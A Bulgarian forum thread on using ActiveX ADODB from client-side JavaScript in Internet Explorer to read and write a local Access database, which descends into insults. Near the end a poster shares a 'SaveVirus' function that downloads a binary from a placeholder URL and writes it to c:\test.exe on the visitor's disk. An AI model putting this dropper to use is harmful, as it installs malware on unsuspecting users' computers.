Client Side JavaScript и бази данни
21 отговора
692 прегледа
Client Side JavaScript и бази данни
Бях любопитен дали може да се ползва ADO в Client Side скрипт като ActiveX
контрола естесвено
затова си поиграх малко и стана - естествено работи само под IE - на някой може да му е интересно
скрипта записва и чете записи от една Аксеска базичка - даже понеже
ADODB.Recordset-а си е "signed" - не задава глупави въпроси на потребителя (работи само на клиентския компютър а не върху сървър)
контрола естесвено
скрипта записва и чете записи от една Аксеска базичка - даже понеже
ADODB.Recordset-а си е "signed" - не задава глупави въпроси на потребителя (работи само на клиентския компютър а не върху сървър)
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<META http-equiv="Content-Type" content="text/html; charset=windows-1251">
<TITLE>Опит с MS Access база данни</TITLE>
<STYLE type="text/css">
<!--
TABLE {
border: 3px solid blue;
}
TD {
border: 1px solid blue;
}
-->
</STYLE>
<SCRIPT LANGUAGE="javascript" type="text/javascript">
<!--
/*
Напишете тук вашия път до MS Acces-ката база
в която имате създадена таблица "Test" с две
полете - ID - AutoNumber и name - Text
*/
var dbrcd="";
var cString = "Driver={Microsoft Access Driver (*.mdb)};DBQ=c:\\wsh\\db\\test.mdb";
var sql = "SELECT * from Test";
/*
Един единствен ADODB.Recordset обект, connection string
и заявка - стори ми се тъпичко всеки път да се
инстанциират като викна
функцията
22.08.2004
*/
function fillTable()
{
dbrcd = new ActiveXObject("ADODB.Recordset");
dbrcd.Open( sql, cString, 1, 3 );
while(!dbrcd.EOF)
{
/*
Циклим до края на ADODB.Recordset-та
*/
var myNewRow=document.all.records.insertRow(document.all.records.rows.length);
/*
лявата клетка на таблицата ..
*/
var firrstCell=myNewRow.insertCell(myNewRow.cells.length);
firrstCell.innerText=dbrcd.Fields("ID").value;
/*
съответно дясната клетка на таблицата ..
*/ var secondCell=myNewRow.insertCell(myNewRow.cells.length);
secondCell.innerText=dbrcd.Fields("name").value;
dbrcd.movenext();
}
}
function insertToBase()
{
dbrcd = new ActiveXObject("ADODB.Recordset");
/*
Хм инетересно че ADODB.Recordset-а не се запазва инстанцииран
нищо че на onload го инстанциираме във fillTable()
*/
var myvalue=document.getElementById("myvalue");
if(myvalue.value)
{
alert(1);
dbrcd.Open( sql, cString, 1, 3 );
dbrcd.AddNew();
alert(2);
dbrcd.Fields("name").value = myvalue.value;
dbrcd.Update();
dbrcd.Close();
window.location.reload(true);
}else{
alert("Нищо не си въвел в полето! Какво ще добавяш ?");
}
}
//-->
</SCRIPT>
</HEAD>
<BODY onload="fillTable();">
<TABLE id="records" align="center">
<CAPTION>
Записано досега в базата
</CAPTION>
<TR>
<TD>ID на записа</TD><TD>Стойност на записа</TD>
</TR>
</TABLE>
<BR>
<TABLE id="device" align="center">
<CAPTION>
Добавяне на запис в базата
</CAPTION>
<TR>
<TD>Текст за добавяне:</TD>
<TD><INPUT type="text" id="myvalue" name="myvalue"></TD>
</TR>
<TR>
<TD colspan="2"><INPUT type="button" value="Кликни за да запишеш в базата" onclick="insertToBase();"></TD>
</TR>
</TABLE>
</BODY>
</HTML>
Бях забравил ..
Бех забравил да махна "дебъгващите" alert-и ето го "готов"
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<META http-equiv="Content-Type" content="text/html; charset=windows-1251">
<TITLE>Опит с MS Access база данни</TITLE>
<STYLE type="text/css">
<!--
TABLE {
border: 3px solid blue;
}
TD {
border: 1px solid blue;
}
-->
</STYLE>
<SCRIPT LANGUAGE="javascript" type="text/javascript">
<!--
/*
Напишете тук вашия път до MS Acces-ката база
в която имате създадена таблица "Test" с две
полете - ID - AutoNumber и name - Text
*/
var dbrcd="";
var cString = "Driver={Microsoft Access Driver (*.mdb)};DBQ=c:\\wsh\\db\\test.mdb";
var sql = "SELECT * from Test";
/*
Един единствен ADODB.Recordset обект, connection string
и заявка - стори ми се тъпичко всеки път да се
инстанциират като викна
функцията
22.08.2004
*/
function fillTable()
{
dbrcd = new ActiveXObject("ADODB.Recordset");
dbrcd.Open( sql, cString, 1, 3 );
while(!dbrcd.EOF)
{
/*
Циклим до края на ADODB.Recordset-та
*/
var myNewRow=document.all.records.insertRow(document.all.records.rows.length);
/*
лявата клетка на таблицата ..
*/
var firrstCell=myNewRow.insertCell(myNewRow.cells.length);
firrstCell.innerText=dbrcd.Fields("ID").value;
/*
съответно дясната клетка на таблицата ..
*/ var secondCell=myNewRow.insertCell(myNewRow.cells.length);
secondCell.innerText=dbrcd.Fields("name").value;
dbrcd.movenext();
}
}
function insertToBase()
{
dbrcd = new ActiveXObject("ADODB.Recordset");
/*
Хм инетересно че ADODB.Recordset-а не се запазва инстанцииран
нищо че на onload го инстанциираме във fillTable()
*/
var myvalue=document.getElementById("myvalue");
if(myvalue.value)
{
dbrcd.Open( sql, cString, 1, 3 );
dbrcd.AddNew();
dbrcd.Fields("name").value = myvalue.value;
dbrcd.Update();
dbrcd.Close();
window.location.reload(true);
}else{
alert("Нищо не си въвел в полето! Какво ще добавяш ?");
}
}
//-->
</SCRIPT>
</HEAD>
<BODY onload="fillTable();">
<TABLE id="records" align="center">
<CAPTION>
Записано досега в базата
</CAPTION>
<TR>
<TD>ID на записа</TD><TD>Стойност на записа</TD>
</TR>
</TABLE>
<BR>
<TABLE id="device" align="center">
<CAPTION>
Добавяне на запис в базата
</CAPTION>
<TR>
<TD>Текст за добавяне:</TD>
<TD><INPUT type="text" id="myvalue" name="myvalue"></TD>
</TR>
<TR>
<TD colspan="2"><INPUT type="button" value="Кликни за да запишеш в базата" onclick="insertToBase();"></TD>
</TR>
</TABLE>
</BODY>
</HTML>
Re: Бях забравил ..
1. Ако не можеш да си кирилизираш компютъра - земи си плати на някои да свърши това нещо вместо теб.
2. За мен специално това не са глупости ..
2. За мен специално това не са глупости ..
Re: Бях забравил ..
a zashto nik'a ti ne e na kirilica a?
egati lapeto, ti li shte mi kajesh kak da pisha
kazvam ti, che tova s acesa sa gluposti,
fani se s neshto po polezno
vij che nikoy ne se interesuva
egati lapeto, ti li shte mi kajesh kak da pisha
kazvam ti, che tova s acesa sa gluposti,
fani se s neshto po polezno
vij che nikoy ne se interesuva
Re: Бях забравил ..
Абе що не ходиш да си играеш другаде на стражари и апаши
Ти на колко си години на 16 ли ? Хехе на мене зел лапе да ми вика
Ти на колко си години на 16 ли ? Хехе на мене зел лапе да ми вика
Re: Бях забравил ..
и за 24 години не си се научил как се пише на кирилица?
Quidquid latine dictum sit, altum sonatur
Quidquid latine dictum sit, altum sonatur
Re: Бях забравил ..
Kirilicata go nauchih otdavna, sega veche si usavarshenstvam latinicata.
neshto protiv?
-------------------------------------------
[линк]
neshto protiv?
-------------------------------------------
[линк]
Stipeeeeeeeeeeeeeee !
Stipe една молба - тъй като цялата тема се изроди в безмислени заяждания - моля те да я заключиш или да изтриеш глупостите .. много ти благодаря предварително
С уважение
С уважение
Re: Stipeeeeeeeeeeeeeee !
В отговор на:моля те да я заключиш или да изтриеш глупостите ..
nali ti bqh kazal che sa gluposti, ama ti ne me slushash
-------------------------------------------
[линк]
Re: Stipeeeeeeeeeeeeeee !
Гррр понеже уважавам някой от хората тук ще ти кажа това което искам да ти кажа по друг начин ..
dick* very_big[_MAX_PATH];
std::vector<.Pit> stupid_man;
stupid_man.fill_mouth(very_big);
Re: Stipeeeeeeeeeeeeeee !
В отговор на:
dick* very_big[_MAX_PATH];
std::vector<.Pit> stupid_man;
stupid_man.fill_mouth(very_big);
> action rejected
> replay back + (repeat x 1000000)
-------------------------------------------
[линк]
Re: Stipeeeeeeeeeeeeeee !
Ами просто не отговаряй на това, което смяташ за глупости и темата ще изглежда като заключена
.
Гледам, че си пишеш разни неща ей така "за спорта".
Ако искаш ще ти дам хостинг да си ги публикуваш там.
Знаеш ми icq-то.
Гледам, че си пишеш разни неща ей така "за спорта".
Ако искаш ще ти дам хостинг да си ги публикуваш там.
Знаеш ми icq-то.
Re: Stipeeeeeeeeeeeeeee !
Е, няма нужда да му отговаряш нека си стои темата. На мене ми изглежда любопитно като възможност. Сигурен съм че има хора които би ги ползвало. И какво значение има кой на колко години е!!!?
Предбазливостта ми е основателна.
Аз не давам на IE да вижда Нета. Точно заради тези АктивХъ. Чрез тях той може да върши всичко на компа ми. Ето и ти даваш пример.
Макар, че айудушките сайтове дават достатъчно примери. "сложи си ласт ИЕ и му пусни ДиректХъ, тогава ела." А това е еквивалентно на: "Събуй гащите и се намажи с вазелин"
Другите браузъри са браузъри. Те по идея не могат да служат за шел.
Макар, че айудушките сайтове дават достатъчно примери. "сложи си ласт ИЕ и му пусни ДиректХъ, тогава ела." А това е еквивалентно на: "Събуй гащите и се намажи с вазелин"
Другите браузъри са браузъри. Те по идея не могат да служат за шел.
Абсолютно - ADODB.Stream- много е як
Чрез ADODB.Stream обекта например можем да смъкнем някъв фаил на локалния диск на "жертвата" (респективно вирус) - и да си го стартираме - както ни се разхожда из саита - за интересуващите се може и примерче да сглобя - естевено използването на примера си е на тяхна отговорност .. - аз бих го направил с учебна цел ..
за какво ползвам ИЕ
IE е много мощно нещо, но е идиотизъм да се ползва за браузър. Затова му слагам неверни прокси - адреси, да съм сигурен, че ще работи само локално.
Чрез една 40-тина кила програмка IEEDIT той става на тъп, но лесен WYSIWYG редактор за свалени страници - делвам рекламата и остава само инфото.
Убийствено добър преобразувател на кодировки е - при Сейв може да избереш в каква кодировка да сейвнеш.
=====================================
Ако видя надпис: "този сайт работи само с IE" - аз си го чета "Дирим лековерни наивници". Бях писал на един сайт за уолпейпъри: Абе, копелета, какво ви интересува с какъв браузър си гледам НЕТ-а, след като вие предлагате тапети? - ама не ми отговориха.
още от мен за IE:
[линк]
.
Чрез една 40-тина кила програмка IEEDIT той става на тъп, но лесен WYSIWYG редактор за свалени страници - делвам рекламата и остава само инфото.
Убийствено добър преобразувател на кодировки е - при Сейв може да избереш в каква кодировка да сейвнеш.
=====================================
Ако видя надпис: "този сайт работи само с IE" - аз си го чета "Дирим лековерни наивници". Бях писал на един сайт за уолпейпъри: Абе, копелета, какво ви интересува с какъв браузър си гледам НЕТ-а, след като вие предлагате тапети? - ама не ми отговориха.
още от мен за IE:
[линк]
.
Re: за какво ползвам ИЕ
Хехе ето една примерна функциика ..
function SaveVirus()
{
/*
Обявяваме си няколко константи необходими за ADODB.Stream
обекта.
*/
var adTypeBinary=new Number(1);
var adSaveCreateOverwrite=new Number(2);
var adModeReadWrite=new Number(3);
/*
Създаваме Microsoft.XMLHTTP - обект - чрез него ще получим
бинарния фаил с вируса ...
*/
var xmlHTTP=new ActiveXObject("Microsoft.XMLHTTP");
/*
Отваряме конекция към URL-ла с вируса ..
*/
xmlHTTP.open( "GET" , "url-a-deto-e-virusa-zaedno-s-[линк]" , false );
xmlHTTP.send();
/*
Тук получаваме бинарния фаил с вируса ..
*/
content=xmlHTTP.responseBody;
var oStr=new ActiveXObject("ADODB.Stream");
oStr.Mode = adModeReadWrite;
oStr.Type = adTypeBinary;
oStr.Open();
oStr.Write(contents);
/*
Тук го записваме върху клиентския компютър -
"C:\test.exe :)
*/
oStr.SaveToFile("c:\\test.exe", adSaveCreateOverwrite);
}